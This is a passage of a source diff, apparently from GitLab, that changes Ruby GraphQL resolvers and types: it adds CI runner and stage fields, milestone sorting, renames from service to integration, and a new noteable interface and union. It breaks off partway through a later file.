@@ -3,6 +3,8 @@
module Resolvers
module Ci
class RunnersResolver < BaseResolver
+ include LooksAhead
+
type Types::Ci::RunnerType.connection_type, null: true
argument :status, ::Types::Ci::RunnerStatusEnum,
@@ -25,10 +27,11 @@ module Resolvers
required: false,
description: 'Sort order of results.'
- def resolve(**args)
- ::Ci::RunnersFinder
- .new(current_user: current_user, params: runners_finder_params(args))
- .execute
+ def resolve_with_lookahead(**args)
+ apply_lookahead(
+ ::Ci::RunnersFinder
+ .new(current_user: current_user, params: runners_finder_params(args))
+ .execute)
end
private
@@ -39,7 +42,10 @@ module Resolvers
type_type: params[:type],
tag_name: params[:tag_list],
search: params[:search],
- sort: params[:sort]&.to_s
+ sort: params[:sort]&.to_s,
+ preload: {
+ tag_name: node_selection&.selects?(:tag_list)
+ }
}.compact
end
end
diff --git a/app/graphql/resolvers/ci/template_resolver.rb b/app/graphql/resolvers/ci/template_resolver.rb
index dd910116544..7f5a1a486d7 100644
--- a/app/graphql/resolvers/ci/template_resolver.rb
+++ b/app/graphql/resolvers/ci/template_resolver.rb
@@ -6,7 +6,7 @@ module Resolvers
type Types::Ci::TemplateType, null: true
argument :name, GraphQL::STRING_TYPE, required: true,
- description: 'Name of the CI/CD template to search for.'
+ description: 'Name of the CI/CD template to search for. Template must be formatted as `Name.gitlab-ci.yml`.'
alias_method :project, :object
diff --git a/app/graphql/resolvers/concerns/issue_resolver_arguments.rb b/app/graphql/resolvers/concerns/issue_resolver_arguments.rb
index aa08d62c6a5..c24f4dedc0e 100644
--- a/app/graphql/resolvers/concerns/issue_resolver_arguments.rb
+++ b/app/graphql/resolvers/concerns/issue_resolver_arguments.rb
@@ -11,7 +11,7 @@ module IssueResolverArguments
description: 'IID of the issue. For example, "1".'
argument :iids, [GraphQL::STRING_TYPE],
required: false,
- description: 'List of IIDs of issues. For example, ["1", "2"].'
+ description: 'List of IIDs of issues. For example, `["1", "2"]`.'
argument :label_name, [GraphQL::STRING_TYPE, null: true],
required: false,
description: 'Labels applied to this issue.'
diff --git a/app/graphql/resolvers/issues_resolver.rb b/app/graphql/resolvers/issues_resolver.rb
index 93e679b2d0c..2017eb7decd 100644
--- a/app/graphql/resolvers/issues_resolver.rb
+++ b/app/graphql/resolvers/issues_resolver.rb
@@ -15,6 +15,7 @@ module Resolvers
type Types::IssueType.connection_type, null: true
NON_STABLE_CURSOR_SORTS = %i[priority_asc priority_desc
+ popularity_asc popularity_desc
label_priority_asc label_priority_desc
milestone_due_asc milestone_due_desc].freeze
diff --git a/app/graphql/resolvers/milestones_resolver.rb b/app/graphql/resolvers/milestones_resolver.rb
index 1241b41501d..4fa4c939a23 100644
--- a/app/graphql/resolvers/milestones_resolver.rb
+++ b/app/graphql/resolvers/milestones_resolver.rb
@@ -25,14 +25,27 @@ module Resolvers
required: false,
description: 'A date that the milestone contains.'
+ argument :sort, Types::MilestoneSortEnum,
+ description: 'Sort milestones by this criteria.',
+ required: false,
+ default_value: :due_date_asc
+
type Types::MilestoneType.connection_type, null: true
+ NON_STABLE_CURSOR_SORTS = %i[expired_last_due_date_asc expired_last_due_date_desc].freeze
+
def resolve(**args)
validate_timeframe_params!(args)
authorize!
- MilestonesFinder.new(milestones_finder_params(args)).execute
+ milestones = MilestonesFinder.new(milestones_finder_params(args)).execute
+
+ if non_stable_cursor_sort?(args[:sort])
+ offset_pagination(milestones)
+ else
+ milestones
+ end
end
private
@@ -43,6 +56,7 @@ module Resolvers
state: args[:state] || 'all',
title: args[:title],
search_title: args[:search_title],
+ sort: args[:sort],
containing_date: args[:containing_date]
}.merge!(transform_timeframe_parameters(args)).merge!(parent_id_parameters(args))
end
@@ -64,5 +78,9 @@ module Resolvers
def parse_gids(gids)
gids&.map { |gid| GitlabSchema.parse_gid(gid, expected_type: Milestone).model_id }
end
+
+ def non_stable_cursor_sort?(sort)
+ NON_STABLE_CURSOR_SORTS.include?(sort)
+ end
end
end
diff --git a/app/graphql/resolvers/projects/jira_projects_resolver.rb b/app/graphql/resolvers/projects/jira_projects_resolver.rb
index de85e8c42e6..864acb6d759 100644
--- a/app/graphql/resolvers/projects/jira_projects_resolver.rb
+++ b/app/graphql/resolvers/projects/jira_projects_resolver.rb
@@ -34,16 +34,16 @@ module Resolvers
private
- alias_method :jira_service, :object
+ alias_method :jira_integration, :object
def project
- jira_service&.project
+ jira_integration&.project
end
def jira_projects(name:)
args = { query: name }.compact
- Jira::Requests::Projects::ListService.new(project.jira_service, args).execute
+ Jira::Requests::Projects::ListService.new(project.jira_integration, args).execute
end
end
end
diff --git a/app/graphql/types/alert_management/alert_sort_enum.rb b/app/graphql/types/alert_management/alert_sort_enum.rb
index 11a5cb95722..b4d09734e30 100644
--- a/app/graphql/types/alert_management/alert_sort_enum.rb
+++ b/app/graphql/types/alert_management/alert_sort_enum.rb
@@ -18,8 +18,8 @@ module Types
value 'EVENT_COUNT_DESC', 'Events count by descending order.', value: :event_count_desc
value 'SEVERITY_ASC', 'Severity from less critical to more critical.', value: :severity_asc
value 'SEVERITY_DESC', 'Severity from more critical to less critical.', value: :severity_desc
- value 'STATUS_ASC', 'Status by order: Ignored > Resolved > Acknowledged > Triggered.', value: :status_asc
- value 'STATUS_DESC', 'Status by order: Triggered > Acknowledged > Resolved > Ignored.', value: :status_desc
+ value 'STATUS_ASC', 'Status by order: `Ignored > Resolved > Acknowledged > Triggered`.', value: :status_asc
+ value 'STATUS_DESC', 'Status by order: `Triggered > Acknowledged > Resolved > Ignored`.', value: :status_desc
end
end
end
diff --git a/app/graphql/types/alert_management/alert_type.rb b/app/graphql/types/alert_management/alert_type.rb
index 5a2a5c68c8d..0ff0775ca86 100644
--- a/app/graphql/types/alert_management/alert_type.rb
+++ b/app/graphql/types/alert_management/alert_type.rb
@@ -8,7 +8,7 @@ module Types
present_using ::AlertManagement::AlertPresenter
- implements(Types::Notes::NoteableType)
+ implements(Types::Notes::NoteableInterface)
authorize :read_alert_management_alert
diff --git a/app/graphql/types/alert_management/integration_type.rb b/app/graphql/types/alert_management/integration_type.rb
index d26d7348765..6cbc17cdbfb 100644
--- a/app/graphql/types/alert_management/integration_type.rb
+++ b/app/graphql/types/alert_management/integration_type.rb
@@ -43,7 +43,7 @@ module Types
definition_methods do
def resolve_type(object, context)
- if object.is_a?(::PrometheusService)
+ if object.is_a?(::Integrations::Prometheus)
Types::AlertManagement::PrometheusIntegrationType
else
Types::AlertManagement::HttpIntegrationType
diff --git a/app/graphql/types/alert_management/prometheus_integration_type.rb b/app/graphql/types/alert_management/prometheus_integration_type.rb
index 79f265f2f1e..27e4832d8f6 100644
--- a/app/graphql/types/alert_management/prometheus_integration_type.rb
+++ b/app/graphql/types/alert_management/prometheus_integration_type.rb
@@ -12,10 +12,10 @@ module Types
authorize :admin_project
- alias_method :prometheus_service, :object
+ alias_method :prometheus_integration, :object
def name
- prometheus_service.title
+ prometheus_integration.title
end
def type
@@ -23,15 +23,15 @@ module Types
end
def token
- prometheus_service.project&.alerting_setting&.token
+ prometheus_integration.project&.alerting_setting&.token
end
def url
- prometheus_service.project && notify_project_prometheus_alerts_url(prometheus_service.project, format: :json)
+ prometheus_integration.project && notify_project_prometheus_alerts_url(prometheus_integration.project, format: :json)
end
def active
- prometheus_service.manual_configuration?
+ prometheus_integration.manual_configuration?
end
end
end
diff --git a/app/graphql/types/base_field.rb b/app/graphql/types/base_field.rb
index 47caf83eb1c..75fdb41ceb6 100644
--- a/app/graphql/types/base_field.rb
+++ b/app/graphql/types/base_field.rb
@@ -65,7 +65,7 @@ module Types
end
def visible?(context)
- return false if feature_flag.present? && !Feature.enabled?(feature_flag)
+ return false if feature_flag.present? && !Feature.enabled?(feature_flag, default_enabled: :yaml)
super
end
@@ -95,7 +95,15 @@ module Types
end
def feature_documentation_message(key, description)
- "#{description} Available only when feature flag `#{key}` is enabled."
+ message_parts = ["#{description} Available only when feature flag `#{key}` is enabled."]
+
+ message_parts << if Feature::Definition.has_definition?(key) && Feature::Definition.default_enabled?(key)
+ "This flag is enabled by default."
+ else
+ "This flag is disabled by default, because the feature is experimental and is subject to change without notice."
+ end
+
+ message_parts.join(' ')
end
def check_feature_flag(args)
diff --git a/app/graphql/types/boards/board_issue_input_base_type.rb b/app/graphql/types/boards/board_issue_input_base_type.rb
index 633221e61d1..30f4efcd403 100644
--- a/app/graphql/types/boards/board_issue_input_base_type.rb
+++ b/app/graphql/types/boards/board_issue_input_base_type.rb
@@ -6,7 +6,7 @@ module Types
class BoardIssueInputBaseType < BoardIssuableInputBaseType
argument :iids, [GraphQL::STRING_TYPE],
required: false,
- description: 'List of IIDs of issues. For example ["1", "2"].'
+ description: 'List of IIDs of issues. For example `["1", "2"]`.'
argument :milestone_title, GraphQL::STRING_TYPE,
required: false,
diff --git a/app/graphql/types/ci/build_need_type.rb b/app/graphql/types/ci/build_need_type.rb
index 3bd81f8fa8f..19ff758ad1d 100644
--- a/app/graphql/types/ci/build_need_type.rb
+++ b/app/graphql/types/ci/build_need_type.rb
@@ -7,6 +7,8 @@ module Types
class BuildNeedType < BaseObject
graphql_name 'CiBuildNeed'
+ field :id, GraphQL::ID_TYPE, null: false,
+ description: 'ID of the job we need to complete.'
field :name, GraphQL::STRING_TYPE, null: true,
description: 'Name of the job we need to complete.'
end
diff --git a/app/graphql/types/ci/detailed_status_type.rb b/app/graphql/types/ci/detailed_status_type.rb
index 0b643a6b676..6310a62a103 100644
--- a/app/graphql/types/ci/detailed_status_type.rb
+++ b/app/graphql/types/ci/detailed_status_type.rb
@@ -6,6 +6,9 @@ module Types
class DetailedStatusType < BaseObject
graphql_name 'DetailedStatus'
+ field :id, GraphQL::STRING_TYPE, null: false,
+ description: 'ID for a detailed status.',
+ extras: [:parent]
field :group, GraphQL::STRING_TYPE, null: true,
description: 'Group of the status.'
field :icon, GraphQL::STRING_TYPE, null: true,
@@ -29,6 +32,10 @@ module Types
calls_gitaly: true,
description: 'Action information for the status. This includes method, button title, icon, path, and title.'
+ def id(parent:)
+ "#{object.id}-#{parent.object.object.id}"
+ end
+
def action
if object.has_action?
{
diff --git a/app/graphql/types/ci/group_type.rb b/app/graphql/types/ci/group_type.rb
index d6d4252e8d7..3da183cb842 100644
--- a/app/graphql/types/ci/group_type.rb
+++ b/app/graphql/types/ci/group_type.rb
@@ -6,12 +6,14 @@ module Types
class GroupType < BaseObject
graphql_name 'CiGroup'
+ field :id, GraphQL::STRING_TYPE, null: false,
+ description: 'ID for a group.'
field :name, GraphQL::STRING_TYPE, null: true,
- description: 'Name of the job group.'
+ description: 'Name of the job group.'
field :size, GraphQL::INT_TYPE, null: true,
- description: 'Size of the group.'
+ description: 'Size of the group.'
field :jobs, Ci::JobType.connection_type, null: true,
- description: 'Jobs in group.'
+ description: 'Jobs in group.'
field :detailed_status, Types::Ci::DetailedStatusType, null: true,
description: 'Detailed status of the group.'
diff --git a/app/graphql/types/ci/job_token_scope_type.rb b/app/graphql/types/ci/job_token_scope_type.rb
new file mode 100644
index 00000000000..9f48298e1d3
--- /dev/null
+++ b/app/graphql/types/ci/job_token_scope_type.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Types
+ # rubocop: disable Graphql/AuthorizeTypes
+ # Authorization is in the resolver based on the parent project
+ module Ci
+ class JobTokenScopeType < BaseObject
+ graphql_name 'CiJobTokenScopeType'
+
+ field :projects, Types::ProjectType.connection_type, null: false,
+ description: 'Allow list of projects that can be accessed by CI Job tokens created by this project.',
+ method: :all_projects
+ end
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+end
diff --git a/app/graphql/types/ci/job_type.rb b/app/graphql/types/ci/job_type.rb
index 5ed4d823aee..360ea3ba7a9 100644
--- a/app/graphql/types/ci/job_type.rb
+++ b/app/graphql/types/ci/job_type.rb
@@ -56,7 +56,7 @@ module Types
field :short_sha, type: GraphQL::STRING_TYPE, null: false,
description: 'Short SHA1 ID of the commit.'
field :scheduling_type, GraphQL::STRING_TYPE, null: true,
- description: 'Type of pipeline scheduling. Value is `dag` if the pipeline uses the `needs` keyword, and `stage` otherwise.'
+ description: 'Type of job scheduling. Value is `dag` if the job uses the `needs` keyword, and `stage` otherwise.'
field :commit_path, GraphQL::STRING_TYPE, null: true,
description: 'Path to the commit that triggered the job.'
field :ref_name, GraphQL::STRING_TYPE, null: true,
diff --git a/app/graphql/types/ci/pipeline_type.rb b/app/graphql/types/ci/pipeline_type.rb
index 2eeddaca6ba..f4a6c18f73e 100644
--- a/app/graphql/types/ci/pipeline_type.rb
+++ b/app/graphql/types/ci/pipeline_type.rb
@@ -150,6 +150,9 @@ module Types
description: 'A specific test suite in a pipeline test report.',
resolver: Resolvers::Ci::TestSuiteResolver
+ field :ref, GraphQL::STRING_TYPE, null: true,
+ description: 'Reference to the branch from which the pipeline was triggered.'
+
def detailed_status
object.detailed_status(current_user)
end
diff --git a/app/graphql/types/ci/runner_type.rb b/app/graphql/types/ci/runner_type.rb
index 837d91ef765..9c5041b0860 100644
--- a/app/graphql/types/ci/runner_type.rb
+++ b/app/graphql/types/ci/runner_type.rb
@@ -6,6 +6,10 @@ module Types
graphql_name 'CiRunner'
authorize :read_runner
+ JOB_COUNT_LIMIT = 1000
+
+ alias_method :runner, :object
+
field :id, ::Types::GlobalIDType[::Ci::Runner], null: false,
description: 'ID of the runner.'
field :description, GraphQL::STRING_TYPE, null: true,
@@ -21,22 +25,48 @@ module Types
description: 'Indicates the runner is allowed to receive jobs.'
field :status, ::Types::Ci::RunnerStatusEnum, null: false,
description: 'Status of the runner.'
- field :version, GraphQL::STRING_TYPE, null: false,
+ field :version, GraphQL::STRING_TYPE, null: true,
description: 'Version of the runner.'
field :short_sha, GraphQL::STRING_TYPE, null: true,
description: %q(First eight characters of the runner's token used to authenticate new job requests. Used as the runner's unique ID.)
- field :revision, GraphQL::STRING_TYPE, null: false,
+ field :revision, GraphQL::STRING_TYPE, null: true,
description: 'Revision of the runner.'
field :locked, GraphQL::BOOLEAN_TYPE, null: true,
description: 'Indicates the runner is locked.'
field :run_untagged, GraphQL::BOOLEAN_TYPE, null: false,
description: 'Indicates the runner is able to run untagged jobs.'
- field :ip_address, GraphQL::STRING_TYPE, null: false,
+ field :ip_address, GraphQL::STRING_TYPE, null: true,
description: 'IP address of the runner.'
field :runner_type, ::Types::Ci::RunnerTypeEnum, null: false,
description: 'Type of the runner.'
field :tag_list, [GraphQL::STRING_TYPE], null: true,
description: 'Tags associated with the runner.'
+ field :project_count, GraphQL::INT_TYPE, null: true,
+ description: 'Number of projects that the runner is associated with.'
+ field :job_count, GraphQL::INT_TYPE, null: true,
+ description: "Number of jobs processed by the runner (limited to #{JOB_COUNT_LIMIT}, plus one to indicate that more items exist)."
+
+ def job_count
+ # We limit to 1 above the JOB_COUNT_LIMIT to indicate that more items exist after JOB_COUNT_LIMIT
+ runner.builds.limit(JOB_COUNT_LIMIT + 1).count
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def project_count
+ BatchLoader::GraphQL.for(runner.id).batch(key: :runner_project_count) do |ids, loader, args|
+ counts = ::Ci::Runner.project_type
+ .select(:id, 'COUNT(ci_runner_projects.id) as count')
+ .left_outer_joins(:runner_projects)
+ .where(id: ids)
+ .group(:id)
+ .index_by(&:id)
+
+ ids.each do |id|
+ loader.call(id, counts[id]&.count)
+ end
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
end
end
end
diff --git a/app/graphql/types/ci/stage_type.rb b/app/graphql/types/ci/stage_type.rb
index 1be9e3192a9..ce3edb6c54f 100644
--- a/app/graphql/types/ci/stage_type.rb
+++ b/app/graphql/types/ci/stage_type.rb
@@ -6,22 +6,21 @@ module Types
graphql_name 'CiStage'
authorize :read_commit_status
- field :name,
- type: GraphQL::STRING_TYPE,
- null: true,
+ field :id, GraphQL::ID_TYPE, null: false,
+ description: 'ID of the stage.'
+ field :name, type: GraphQL::STRING_TYPE, null: true,
description: 'Name of the stage.'
- field :groups,
- type: Ci::GroupType.connection_type,
- null: true,
+ field :groups, type: Ci::GroupType.connection_type, null: true,
extras: [:lookahead],
description: 'Group of jobs for the stage.'
- field :detailed_status, Types::Ci::DetailedStatusType,
- null: true,
+ field :detailed_status, Types::Ci::DetailedStatusType, null: true,
description: 'Detailed status of the stage.'
- field :jobs, Ci::JobType.connection_type,
- null: true,
+ field :jobs, Ci::JobType.connection_type, null: true,
description: 'Jobs for the stage.',
method: 'latest_statuses'
+ field :status, GraphQL::STRING_TYPE,
+ null: true,
+ description: 'Status of the pipeline stage.'
def detailed_status
object.detailed_status(current_user)
@@ -54,6 +53,7 @@ module Types
# rubocop: disable CodeReuse/ActiveRecord
def jobs_for_pipeline(pipeline, stage_ids, include_needs)
results = pipeline.latest_statuses.where(stage_id: stage_ids)
+ results = results.preload(:project)
results = results.preload(:needs) if include_needs
results.group_by(&:stage_id)
diff --git a/app/graphql/types/ci/status_action_type.rb b/app/graphql/types/ci/status_action_type.rb
index 9f7299c0270..a06b09735b3 100644
--- a/app/graphql/types/ci/status_action_type.rb
+++ b/app/graphql/types/ci/status_action_type.rb
@@ -5,6 +5,9 @@ module Types
class StatusActionType < BaseObject
graphql_name 'StatusAction'
+ field :id, GraphQL::STRING_TYPE, null: false,
+ description: 'ID for a status action.',
+ extras: [:parent]
field :button_title, GraphQL::STRING_TYPE, null: true,
description: 'Title for the button, for example: Retry this job.'
field :icon, GraphQL::STRING_TYPE, null: true,
@@ -17,6 +20,10 @@ module Types
field :title, GraphQL::STRING_TYPE, null: true,
description: 'Title for the action, for example: Retry.'
+ def id(parent:)
+ "#{parent.parent.object.object.class.name}-#{parent.object.object.id}"
+ end
+
def action_method
object[:method]
end
diff --git a/app/graphql/types/deployment_tier_enum.rb b/app/graphql/types/deployment_tier_enum.rb
new file mode 100644
index 00000000000..7079b98c512
--- /dev/null
+++ b/app/graphql/types/deployment_tier_enum.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Types
+ class DeploymentTierEnum < BaseEnum
+ graphql_name 'DeploymentTier'
+ description 'All environment deployment tiers.'
+
+ value 'PRODUCTION', description: 'Production.', value: :production
+ value 'STAGING', description: 'Staging.', value: :staging
+ value 'TESTING', description: 'Testing.', value: :testing
+ value 'DEVELOPMENT', description: 'Development.', value: :development
+ value 'OTHER', description: 'Other.', value: :other
+ end
+end
diff --git a/app/graphql/types/design_management/design_type.rb b/app/graphql/types/design_management/design_type.rb
index 44e87905f92..2f40bf5ebfd 100644
--- a/app/graphql/types/design_management/design_type.rb
+++ b/app/graphql/types/design_management/design_type.rb
@@ -10,7 +10,7 @@ module Types
alias_method :design, :object
- implements(Types::Notes::NoteableType)
+ implements(Types::Notes::NoteableInterface)
implements(Types::DesignManagement::DesignFields)
implements(Types::CurrentUserTodos)
diff --git a/app/graphql/types/issuable_searchable_field_enum.rb b/app/graphql/types/issuable_searchable_field_enum.rb
new file mode 100644
index 00000000000..88a49504f28
--- /dev/null
+++ b/app/graphql/types/issuable_searchable_field_enum.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Types
+ class IssuableSearchableFieldEnum < BaseEnum
+ graphql_name 'IssuableSearchableField'
+ description 'Fields to perform the search in'
+
+ Issuable::SEARCHABLE_FIELDS.each do |field|
+ value field.upcase, value: field, description: "Search in #{field} field."
+ end
+ end
+end
diff --git a/app/graphql/types/issue_sort_enum.rb b/app/graphql/types/issue_sort_enum.rb
index e730a51b60e..a2390ff01fe 100644
--- a/app/graphql/types/issue_sort_enum.rb
+++ b/app/graphql/types/issue_sort_enum.rb
@@ -10,6 +10,8 @@ module Types
value 'RELATIVE_POSITION_ASC', 'Relative position by ascending order.', value: :relative_position_asc
value 'SEVERITY_ASC', 'Severity from less critical to more critical.', value: :severity_asc
value 'SEVERITY_DESC', 'Severity from more critical to less critical.', value: :severity_desc
+ value 'POPULARITY_ASC', 'Number of upvotes (awarded "thumbs up" emoji) by ascending order.', value: :popularity_asc
+ value 'POPULARITY_DESC', 'Number of upvotes (awarded "thumbs up" emoji) by descending order.', value: :popularity_desc
end
end
diff --git a/app/graphql/types/issue_type.rb b/app/graphql/types/issue_type.rb
index 0ccd1e2cebd..6ff38273c03 100644
--- a/app/graphql/types/issue_type.rb
+++ b/app/graphql/types/issue_type.rb
@@ -6,7 +6,7 @@ module Types
connection_type_class(Types::IssueConnectionType)
- implements(Types::Notes::NoteableType)
+ implements(Types::Notes::NoteableInterface)
implements(Types::CurrentUserTodos)
authorize :read_issue
@@ -127,6 +127,9 @@ module Types
field :timelogs, Types::TimelogType.connection_type, null: false,
description: 'Timelogs on the issue.'
+ field :project_id, GraphQL::INT_TYPE, null: false, method: :project_id,
+ description: 'ID of the issue project.'
+
def author
Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.author_id).find
end
diff --git a/app/graphql/types/issues/negated_issue_filter_input_type.rb b/app/graphql/types/issues/negated_issue_filter_input_type.rb
index 8a2e75ed9ba..88faf7e7074 100644
--- a/app/graphql/types/issues/negated_issue_filter_input_type.rb
+++ b/app/graphql/types/issues/negated_issue_filter_input_type.rb
@@ -7,7 +7,7 @@ module Types
argument :iids, [GraphQL::STRING_TYPE],
required: false,
- description: 'List of IIDs of issues to exclude. For example, [1, 2].'
+ description: 'List of IIDs of issues to exclude. For example, `[1, 2]`.'
argument :label_name, [GraphQL::STRING_TYPE],
required: false,
description: 'Labels not applied to this issue.'
diff --git a/app/graphql/types/merge_request_type.rb b/app/graphql/types/merge_request_type.rb
index 338b70bb0c6..0e9df926cdd 100644
--- a/app/graphql/types/merge_request_type.rb
+++ b/app/graphql/types/merge_request_type.rb
@@ -6,7 +6,7 @@ module Types
connection_type_class(Types::MergeRequestConnectionType)
- implements(Types::Notes::NoteableType)
+ implements(Types::Notes::NoteableInterface)
implements(Types::CurrentUserTodos)
authorize :read_merge_request
diff --git a/app/graphql/types/milestone_sort_enum.rb b/app/graphql/types/milestone_sort_enum.rb
new file mode 100644
index 00000000000..9f7dedb4c4c
--- /dev/null
+++ b/app/graphql/types/milestone_sort_enum.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Types
+ class MilestoneSortEnum < SortEnum
+ graphql_name 'MilestoneSort'
+ description 'Values for sorting milestones'
+
+ value 'DUE_DATE_ASC', 'Milestone due date by ascending order.', value: :due_date_asc
+ value 'DUE_DATE_DESC', 'Milestone due date by descending order.', value: :due_date_desc
+ value 'EXPIRED_LAST_DUE_DATE_ASC', 'Group milestones in this order: non-expired milestones with due dates, non-expired milestones without due dates and expired milestones then sort by due date in ascending order.', value: :expired_last_due_date_asc
+ value 'EXPIRED_LAST_DUE_DATE_DESC', 'Group milestones in this order: non-expired milestones with due dates, non-expired milestones without due dates and expired milestones then sort by due date in descending order.', value: :expired_last_due_date_desc
+ end
+end
diff --git a/app/graphql/types/milestone_type.rb b/app/graphql/types/milestone_type.rb
index eafede26c9e..27bc77b4da1 100644
--- a/app/graphql/types/milestone_type.rb
+++ b/app/graphql/types/milestone_type.rb
@@ -26,6 +26,9 @@ module Types
field :state, Types::MilestoneStateEnum, null: false,
description: 'State of the milestone.'
+ field :expired, GraphQL::BOOLEAN_TYPE, null: false,
+ description: 'Expired state of the milestone (a milestone is expired when the due date is past the current date). Defaults to `false` when due date has not been set.'
+
field :web_path, GraphQL::STRING_TYPE, null: false, method: :milestone_path,
description: 'Web path of the milestone.'
diff --git a/app/graphql/types/mutation_type.rb b/app/graphql/types/mutation_type.rb
index 6d3327f9735..df693fafbb9 100644
--- a/app/graphql/types/mutation_type.rb
+++ b/app/graphql/types/mutation_type.rb
@@ -99,11 +99,14 @@ module Types
mount_mutation Mutations::Ci::CiCdSettingsUpdate
mount_mutation Mutations::Ci::Job::Play
mount_mutation Mutations::Ci::Job::Retry
+ mount_mutation Mutations::Ci::JobTokenScope::AddProject
+ mount_mutation Mutations::Ci::JobTokenScope::RemoveProject
mount_mutation Mutations::Ci::Runner::Update, feature_flag: :runner_graphql_query
mount_mutation Mutations::Ci::Runner::Delete, feature_flag: :runner_graphql_query
mount_mutation Mutations::Ci::RunnersRegistrationToken::Reset, feature_flag: :runner_graphql_query
mount_mutation Mutations::Namespace::PackageSettings::Update
mount_mutation Mutations::UserCallouts::Create
+ mount_mutation Mutations::Packages::Destroy
mount_mutation Mutations::Echo
end
end
diff --git a/app/graphql/types/noteable_type.rb b/app/graphql/types/noteable_type.rb
new file mode 100644
index 00000000000..859de86d6b8
--- /dev/null
+++ b/app/graphql/types/noteable_type.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Types
+ class NoteableType < BaseUnion
+ graphql_name 'NoteableType'
+ description 'Represents an object that supports notes.'
+
+ possible_types Types::IssueType, Types::DesignManagement::DesignType, Types::MergeRequestType
+
+ def self.resolve_type(object, context)
+ case object
+ when Issue
+ Types::IssueType
+ when ::DesignManagement::Design
+ Types::DesignManagement::DesignType
+ when MergeRequest
+ Types::MergeRequestType
+ else
+ raise 'Unsupported issuable type'
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/notes/discussion_type.rb b/app/graphql/types/notes/discussion_type.rb
index 17cb4debd63..56579c357a7 100644
--- a/app/graphql/types/notes/discussion_type.rb
+++ b/app/graphql/types/notes/discussion_type.rb
@@ -19,6 +19,8 @@ module Types
description: "Timestamp of the discussion's creation."
field :notes, Types::Notes::NoteType.connection_type, null: false,
description: 'All notes in the discussion.'
+ field :noteable, Types::NoteableType, null: true,
+ description: 'Object which the discussion belongs to.'
# DiscussionID.coerce_result is suitable here, but will always mark this
# as being a 'Discussion'. Using `GlobalId.build` guarantees that we get
@@ -26,6 +28,14 @@ module Types
def reply_id
::Gitlab::GlobalId.build(object, id: object.reply_id)
end
+
+ def noteable
+ noteable = object.noteable
+
+ return unless Ability.allowed?(context[:current_user], :"read_#{noteable.to_ability_name}", noteable)
+
+ noteable
+ end
end
end
end
diff --git a/app/graphql/types/notes/noteable_interface.rb b/app/graphql/types/notes/noteable_interface.rb
new file mode 100644
index 00000000000..bd22f12d6f0
--- /dev/null
+++ b/app/graphql/types/notes/noteable_interface.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Types
+ module Notes
+ module NoteableInterface
+ include Types::BaseInterface
+
+ field :notes, Types::Notes::NoteType.connection_type, null: false, description: "All notes on this noteable."
+ field :discussions, Types::Notes::DiscussionType.connection_type, null: false, description: "All discussions on this noteable."
+
+ def self.resolve_type(object, context)
+ case object
+ when Issue
+ Types::IssueType
+ when MergeRequest
+ Types::MergeRequestType
+ when Snippet
+ Types::SnippetType
+ when ::DesignManagement::Design
+ Types::DesignManagement::DesignType
+ when ::AlertManagement::Alert
+ Types::AlertManagement::AlertType
+ else
+ raise "Unknown GraphQL type for #{object}"
+ end
+ end
+ end
+ end
+end
+
+Types::Notes::NoteableInterface.prepend_mod_with('Types::Notes::NoteableInterface')
diff --git a/app/graphql/types/notes/noteable_type.rb b/app/graphql/types/notes/noteable_type.rb
deleted file mode 100644
index a82a76f9c87..00000000000
--- a/app/graphql/types/notes/noteable_type.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# frozen_string_literal: true
-
-module Types
- module Notes
- module NoteableType
- include Types::BaseInterface
-
- field :notes, Types::Notes::NoteType.connection_type, null: false, description: "All notes on this noteable."
- field :discussions, Types::Notes::DiscussionType.connection_type, null: false, description: "All discussions on this noteable."
-
- def self.resolve_type(object, context)
- case object
- when Issue
- Types::IssueType
- when MergeRequest
- Types::MergeRequestType
- when Snippet
- Types::SnippetType
- when ::DesignManagement::Design
- Types::DesignManagement::DesignType
- when ::AlertManagement::Alert
- Types::AlertManagement::AlertType
- else
- raise "Unknown GraphQL type for #{object}"
- end
- end
- end
- end
-end
-
-Types::Notes::NoteableType.prepend_mod_with('Types::Notes::NoteableType')
diff --git a/app/graphql/types/project_type.rb b/app/graphql/types/project_type.rb
index 55dc73d898d..968635f9e6e 100644
--- a/app/graphql/types/project_type.rb
+++ b/app/graphql/types/project_type.rb
@@ -59,8 +59,6 @@ module Types
field :visibility, GraphQL::STRING_TYPE, null: true,
description: 'Visibility of the project.'
- field :container_registry_enabled, GraphQL::BOOLEAN_TYPE, null: true,
- description: 'Indicates if the project stores Docker container images in a container registry.'
field :shared_runners_enabled, GraphQL::BOOLEAN_TYPE, null: true,
description: 'Indicates if shared runners are enabled for the project.'
field :lfs_enabled, GraphQL::BOOLEAN_TYPE, null: true,
@@ -77,9 +75,15 @@ module Types
field :avatar_url, GraphQL::STRING_TYPE, null: true, calls_gitaly: true,
description: 'URL to avatar image file of the project.'
- %i[issues merge_requests wiki snippets].each do |feature|
+ {
+ issues: "Issues are",
+ merge_requests: "Merge Requests are",
+ wiki: 'Wikis are',
+ snippets: 'Snippets are',
+ container_registry: 'Container Registry is'
+ }.each do |feature, name_string|
field "#{feature}_enabled", GraphQL::BOOLEAN_TYPE, null: true,
- description: "Indicates if #{feature.to_s.titleize.pluralize} are enabled for the current user"
+ description: "Indicates if #{name_string} enabled for the current user"
define_method "#{feature}_enabled" do
object.feature_available?(feature, context[:current_user])
@@ -346,6 +350,10 @@ module Types
description: 'Find a single CI/CD template by name.',
resolver: Resolvers::Ci::TemplateResolver
+ field :ci_job_token_scope, Types::Ci::JobTokenScopeType, null: true,
+ description: 'The CI Job Tokens scope of access.',
+ resolver: Resolvers::Ci::JobTokenScopeResolver
+
def label(title:)
BatchLoader::GraphQL.for(title).batch(key: project) do |titles, loader, args|
LabelsFinder
diff --git a/app/graphql/types/projects/service_type_enum.rb b/app/graphql/types/projects/service_type_enum.rb
index 9948fa8bb69..027026dc16c 100644
--- a/app/graphql/types/projects/service_type_enum.rb
+++ b/app/graphql/types/projects/service_type_enum.rb
@@ -5,7 +5,7 @@ module Types
